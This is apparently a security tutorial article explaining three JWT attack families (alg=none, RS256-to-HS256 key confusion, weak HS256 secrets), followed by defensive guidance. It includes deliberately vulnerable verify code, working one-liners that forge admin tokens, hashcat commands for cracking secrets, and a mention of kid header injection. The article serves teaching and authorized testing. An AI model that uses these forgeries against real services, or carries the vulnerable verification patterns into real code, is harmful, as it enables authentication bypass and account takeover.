JWT Attacks: alg=none, Key Confusion, and Weak Secrets

JWT Attacks: alg=none, Key Confusion, and Weak Secrets - article cover image Web Exploitation
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

JSON Web Tokens (JWT) are a compact, self-contained format for passing signed claims between parties — an authorization server issues a token, and every downstream service can verify it and trust its claims (user ID, roles, expiry) without a database round trip. That statelessness is the whole appeal, and it is also the whole risk: once a service decides to trust a signature, everything about *how* it verifies that signature becomes security-critical. A JWT is just a Base64URL-encoded JSON header, a JSON payload, and a signature, joined by dots — header.payload.signature — and none of the three segments are encrypted, only signed, so anyone can read (and often, forge) a token if the verification logic has a flaw.

The three classic JWT attack families all exploit the same root cause: the verification library trusts metadata *inside the token itself* to decide how to verify it. alg=none abuses libraries that honor a header field saying “don’t verify me.” Algorithm/key confusion abuses libraries that let the attacker pick between symmetric and asymmetric verification. Weak-secret attacks simply brute-force a symmetric key that was never strong enough to resist offline guessing. Any one of the three lets an attacker forge an arbitrary token — including one claiming to be an administrator — turning a broken verification path into full authentication and authorization bypass.

Attack Prerequisites

JWT attacks are almost entirely offline once a sample token is obtained, which makes them cheap to attempt against any target:

  • A sample, valid JWT — from a login response, a cookie, or an Authorization: Bearer header; this is enough to read the header/algorithm and payload structure even without the secret.
  • A verification library or custom code that trusts the token’s own alg header, or that exposes both symmetric (HS256) and asymmetric (RS256/ES256) verification paths behind the same code path.
  • For weak-secret attacks: an HS256-signed token and a wordlist/GPU — the secret must be short, dictionary-derived, or a known default/example value from documentation or a framework template.
  • For key confusion specifically: the service’s RSA/EC *public* key must be obtainable — often published for token verification, exposed via a JWKS endpoint (/.well-known/jwks.json), embedded in a mobile app, or reused from TLS/SSH.

How It Works

A JWT’s header declares which algorithm was used to sign it, e.g. {"alg":"HS256","typ":"JWT"} or {"alg":"RS256"}. The spec intentionally supports many algorithms including symmetric HMAC (HS256, shared-secret) and asymmetric RSA/ECDSA (RS256/ES256, public/private keypair) so that different deployment models are possible. The insecure pattern is verification code that reads alg from the untrusted token and *branches its verification behavior on it* — e.g. calling a generic jwt.verify(token, key) where key is chosen or the algorithm is decided based on what the attacker’s token claims, rather than what the *application* expects for that credential.

alg=none exploits the JWT spec’s own none algorithm — legitimately defined for cases where the JWT’s integrity is already assured some other way. Older or misconfigured libraries (early jsonwebtoken, pyjwt before hardening, some hand-rolled verifiers) would honor none in the header and skip signature verification entirely, meaning any payload the attacker writes is accepted as authentic, no key required.

Algorithm confusion (also called key confusion, or RS256-to-HS256) is subtler: many apps use RS256 so the *private* key stays on the auth server while any service holding only the *public* key can verify tokens. If verification passes whatever key it has into a generic verify(token, key, algorithms=[...]) call without pinning the expected algorithm, an attacker can craft a token with alg=HS256 and sign it using the public RSA key’s raw bytes as an HMAC secret. Because the public key is, by design, not secret, a verifier that skips the explicit algorithms: ['RS256'] allowlist will HMAC-check the forged token against it — and accept it.

Vulnerable Code / Configuration

The alg=none bug: verification code that does not explicitly restrict acceptable algorithms and defers to whatever the token header says.

// VULNERABLE (older jsonwebtoken-style usage / hand-rolled verify)
const jwt = require('jsonwebtoken');

function verify(token) {
  // No `algorithms` allowlist passed -> library falls back to trusting
  // whatever alg the token itself declares, including "none".
  return jwt.verify(token, SECRET_OR_PUBLIC_KEY);
}
// A token with header {"alg":"none"} and an EMPTY signature segment
// (header.payload.) is accepted with no cryptographic check at all.
JavaScript

The RS256-to-HS256 key-confusion bug: the same public key used to verify RS256 tokens is fed into a generic verify call without pinning the algorithm, so the library will also accept it as an HS256 secret.

import jwt  # PyJWT

# VULNERABLE: no algorithms= allowlist -> PyJWT infers the algorithm
# from the token header, so an attacker-supplied "alg":"HS256" token
# is verified via HMAC using PUBLIC_KEY as the shared secret.
def verify_token(token):
    return jwt.decode(token, PUBLIC_KEY)

# Correct: jwt.decode(token, PUBLIC_KEY, algorithms=['RS256'])
Python

Weak-secret HS256 tokens are exploitable purely because the shared secret is a guessable string — a common finding is a default/example secret copied straight out of a framework’s documentation or boilerplate:

// VULNERABLE: short, dictionary-word secret, often left over from a
// tutorial or .env.example that was never rotated for production.
const SECRET = 'secret123';
const token = jwt.sign({ sub: user.id, role: user.role }, SECRET,
                        { algorithm: 'HS256' });
// Offline: hashcat/john can try billions of candidate HMAC keys per
// second against a captured token with no rate limiting whatsoever.
JavaScript

Walkthrough / Exploitation

alg=none forgery — rewrite the header and payload, elevate the role claim, and leave the signature segment empty:

python3 -c "
import json, base64
def b64(d):
    return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b'=').decode()
hdr = {'alg':'none','typ':'JWT'}
pl  = {'sub':'1234','role':'admin'}
print(b64(hdr) + '.' + b64(pl) + '.')
"
# Send with an empty signature segment: header.payload.
curl -s https://target/api/me -H "Authorization: Bearer $(pbpaste)"
Bash

Algorithm/key confusion — fetch the RSA public key (JWKS endpoint or embedded cert), normalize its exact byte representation, then HMAC-sign a forged HS256 token using that key material as the shared secret:

curl -s https://target/.well-known/jwks.json | jq .
# Or extract from a PEM cert:
openssl x509 -in server.crt -pubkey -noout > pubkey.pem

python3 -c "
import jwt
pub = open('pubkey.pem','rb').read()
forged = jwt.encode({'sub':'1234','role':'admin'}, pub, algorithm='HS256')
print(forged)
"
# Submit `forged` as the Authorization: Bearer token. A verifier calling
# jwt.decode(token, pub) with no algorithms= allowlist accepts it.
Bash

Weak-secret cracking against a captured HS256 token, using hashcat’s dedicated JWT mode with a wordlist (and optionally rules for mutation):

hashcat -a 0 -m 16500 jwt.txt rockyou.txt
# jwt.txt contains the raw token: header.payload.signature
# On crack, re-sign an arbitrary payload with the recovered secret:
python3 -c "import jwt; print(jwt.encode({'sub':'1','role':'admin'}, 'RECOVERED_SECRET', algorithm='HS256'))"
Bash

Note: Modern JWT libraries (current PyJWT, jsonwebtoken >= 9, jose) reject alg=none by default and require an explicit algorithms=[...] allowlist on decode — most alg=none findings today are in older pinned dependency versions or hand-rolled verifiers, not current library defaults. Always check the exact library version before assuming the classic attack applies.

Opsec / Testing tip: kid (Key ID) header injection is a related, often-overlooked variant: if the verifier uses the token’s kid claim to look up which key to use (e.g. a file path or database lookup), an attacker who controls kid can sometimes redirect it to a predictable value — such as /dev/null or a SQL injection in the lookup query — to influence what key material is used for verification. Always inspect how kid is resolved, not just alg.

Detection and Defense

JWT verification must be explicit and rigid — the token is untrusted input, and no part of *how* to verify it should be taken from the token itself.

  • Pin the expected algorithm(s) explicitly on every decode/verify call (algorithms=['RS256'], never inferred from the token) and reject none unconditionally.
  • Never reuse key material across algorithm types — the public key should only ever reach verification through an RS256-specific code path, never a generic parameter shared with HMAC.
  • Use strong, random HS256 secrets (256-bit, CSPRNG-generated, rotated) or switch to asymmetric signing entirely.
  • Validate standard claimsexp, nbf, iss, aud — and keep token lifetimes short, backed by refresh tokens and revocation.
  • Keep JWT libraries current, pinned to versions rejecting none by default.
  • Monitor for anomalies — spikes in verification failures or unexpected alg/kid values signal forgery attempts.

Real-World Impact

Algorithm-confusion and alg=none bypasses have been documented in numerous JWT libraries and applications over the years, and the pattern is common enough that hashcat and John the Ripper both ship dedicated JWT cracking modes, and Burp Suite’s JWT Editor extension is a staple of every API assessment. Because a forged JWT grants exactly the privilege claimed in its payload, a successful attack on any of these three variants typically results in immediate, complete authentication and authorization bypass — not a foothold that requires further chaining — which is why JWT verification logic receives outsized scrutiny in API security reviews.

Conclusion

Every JWT attack here reduces to one design mistake: letting the token dictate the rules by which it is checked. The fix is not a smarter parser but a stricter contract — pin the algorithm, never let public key material double as an HMAC secret, use strong random secrets, and validate every standard claim — so that the only way to produce a token the server accepts is to actually hold the private key or secret it was designed to protect.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL